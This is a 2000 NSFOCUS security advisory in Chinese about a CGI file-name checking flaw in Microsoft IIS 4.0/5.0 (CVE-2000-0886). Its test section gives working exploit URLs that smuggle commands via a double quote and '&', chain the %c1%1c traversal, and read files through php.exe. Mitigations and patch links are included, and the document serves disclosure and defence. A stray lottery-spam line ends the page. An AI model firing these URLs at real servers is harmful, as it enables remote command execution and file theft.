首頁 -> 安全研究

安全研究

安全公告
綠盟科技安全公告(SA2000-07)

NSFOCUS安全小組([email protected])
http://www.nsfocus.com

Microsoft IIS CGI文件名檢查漏洞

發布日期:2000-11-07

CVE ID:CVE-2000-0886
BUGTRAQ ID:1912

受影響的軟件及系統:
====================
- Microsoft IIS 4.0
- Microsoft IIS 5.0

綜述:
======
NSFOCUS安全小組發現微軟IIS 4.0/5.0在處理CGI程序文件名時存在一個安全漏洞,攻擊者可能利用這個漏洞查看系統文件或者執行任意系統命令。

分析:
======
Microsoft IIS 4.0/5.0在處理CGI程序(.exe, .pl, .php等等)時, 對用戶請求的CGI程序名沒有做完整的安全檢查。如果文件名中包含一個特殊字符,可能導致IIS錯誤地打開或者執行文件。

1. 如果用戶構造一個特殊的HTTP請求,要求IIS執行一個可執行目錄下的".exe"或者".com"后綴結尾的程序。IIS會試圖加載這個程序,加載時會首先檢查這個文件是否存在以及此文件的類型。攻擊者通過在文件名中添加一個特殊字符-雙引號,導致加載程序錯誤地檢查了另外一個不同的文件。如果此文件滿足以下條件:

(1) 此文件存在
(2) 此文件是一個批處理文件(".bat"文件)或者".cmd"文件
(3) 文件是一個大于零字節的純文本文件

IIS會自動調用"cmd.exe"對其進行解釋。初始文件名的其他部分被當作批處理文件的參數傳遞給"cmd.exe",攻擊者可以使用"&"等符號來執行任意命令。

2. 如果系統中安裝了一些腳本解釋器(php.exe,perl.exe等等)以及映射,當用戶要求執行對應的CGI腳本程序(.php3, .pl等等)時,IIS會將用戶提供的文件名交給腳本解釋器解釋。如果攻擊者在文件中使用某些特殊字符,將使該解釋器打開一個WEB目錄以外的文件,依賴于解釋器的處理方式,攻擊者可能獲取文件的部分或者全部內容。

測試方法:
==========
1. 執行任意命令

在一個可執行目錄下創建一個批處理文件: test.bat. 它的內容可以是任意的, 例如:"abc". 提交下列URL:
  
http://site/scripts/test.bat"+&+dir+c:/+.exe (IIS 5.0)
或者
http://site/scripts/test.bat"+&+dir+c:/+.com (IIS 5.0)
將會得到C:\目錄的列表。
  
由于IIS會在可執行文件名前后增加一個雙引號,因此,在交給"CMD.exe"執行的時候就類似下列格式:
  
CMD.exe "D:\interpub\scripts\test.bat" & dir C:/ .exe"
  
因此攻擊者可能以IUSER_machinename用戶的身份執行任意命令,而且并不要求可執行虛擬目錄與"WINNT\system32\CMD.exe"在同一個驅動器上.

對于IIS 4.0 <SP6以及那些打了MS00-057中補丁的IIS 4.0/5.0,可以使用下列URL:

http://site/scripts/test.bat"+"&+dir+c:/+.exe
  
對于IIS 4.0 + SP6/SP6a, 可以結合"%c1%1c"的漏洞:

http://site/scripts/test.bat"+"+&+dir+c:/+/..%c1%1c..%c1%1c..%c1%1c..%c1%1cwinnt/system32/route.exe
("winnt/system32/route.exe"可以用任意一個存在的可執行程序(.com/.exe)名代替)

注意:將要執行的命令放到參數部分也是可以的,例如:
http://site/scripts/a.bat"+".exe?+&+dir
微軟開始提供的補丁沒有考慮這一情況,我們推薦您盡快使用微軟重新發布的新補丁。
  
盡管缺省情況下IIS的可執行目錄中并不包含批處理文件,但是攻擊者仍然有可能利用此漏洞??紤]以下兩種情況:
  
(1) 如果系統管理員安裝了某個CGI應用程序,允許用戶在可執行目錄下創建文件。例如某些計數器程序,允許用戶創建自己的數據文件,盡管用戶不能控制數據文件的內容,但是可以指定其文件名。因此攻擊者就可以利用這個漏洞來執行命令。
      
(2) MSSQL或者Perl軟件包都自帶一些批處理文件。如果系統管理員安裝了MSSQL或者Perl,并且與IIS某個虛擬可執行目錄在同一個驅動器,那么攻擊者也結合"%c1%1c"的漏洞來進行攻擊.(參見NSFOCUS安全公告 SA2000-06: http://www.nsfocus.com/sa-06.htm)
                    
例如:MSSQL7缺省安裝后其\install目錄下會有兩個批處理文件:
D:\mssql7\install\pubimage.bat
D:\mssql7\install\pubtext.bat
(假設MSSQL7裝在D:\)
      
如果IIS的"\scripts"目錄也被映射到"D:\interpub\scripts",那么使用如下的URL也可以執行任意命令:
http://site/scripts/..%c1%1c../..%c1%1c../mssql7/install/pubtext.bat"+&+dir+c:\+.exe
      
另外,如果網站允許用戶上傳".bat"或者".cmd"后綴的文件,同樣可能遭受此種攻擊。

2.  泄漏文件內容
    
如果系統安裝了php.exe(PHP3),攻擊者可能看到某些WEB目錄以外的文件:
http://target/."./."./winnt/win.ini%20.php3

解決方法:
==========
1. 確保沒有不必要的批處理文件和".cmd"文件,并保證批處理文件和".cmd"文件不與任何的虛擬可執行目錄在同一個驅動器上
2. 設置CMD.exe的訪問權限,禁止guests組訪問CMD.exe

廠商狀態:
==========
我們于2000年10月20日將此問題通知微軟。
微軟已就此發布了一個安全公告(MS00-086) 以及相應補丁。

2000年11月21日,微軟重新發布了MS00-086以及新的補丁。

您可以在下列地址看到微軟安全公告的詳細內容:

http://www.microsoft.com/technet/security/bulletin/ms00-086.asp

補丁程序可以在下列地址下載:

. Internet Information Server 4.0:

http://www.microsoft.com/ntserver/nts/downloads/critical/q277873

. Internet Information Services 5.0:

http://www.microsoft.com/Windows2000/downloads/critical/q277873

聲 明
==========

本安全公告僅用來描述可能存在的安全問題,綠盟科技不為此安全公告提供任何保證或承諾。由于傳播、利用此安全公告所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,綠盟科技以及安全公告作者不為此承擔任何責任。綠盟科技擁有對此安全公告的修改和解釋權。如欲轉載或傳播此安全公告,必須保證此安全公告的完整性,包括版權聲明等全部內容。未經綠盟科技允許,不得任意修改或者增減此安全公告內容,不得以任何方式將其用于商業目的。

關于綠盟科技
============

綠盟科技(NSFOCUS Co., Ltd.)是中國網絡安全領域的領導企業,致力于網絡和系統安全問題的研究、高端網絡安全產品的研發、銷售與網絡安全服務,在入侵檢測/保護、遠程評估、 DDoS攻擊防護等方面提供具有國際競爭能力的先進產品,是國內最具安全服務經驗的專業公司。有關綠盟科技的詳情請參見: http://www.nsfocus.com

© 2020 綠盟科技
浙江快乐彩网上投注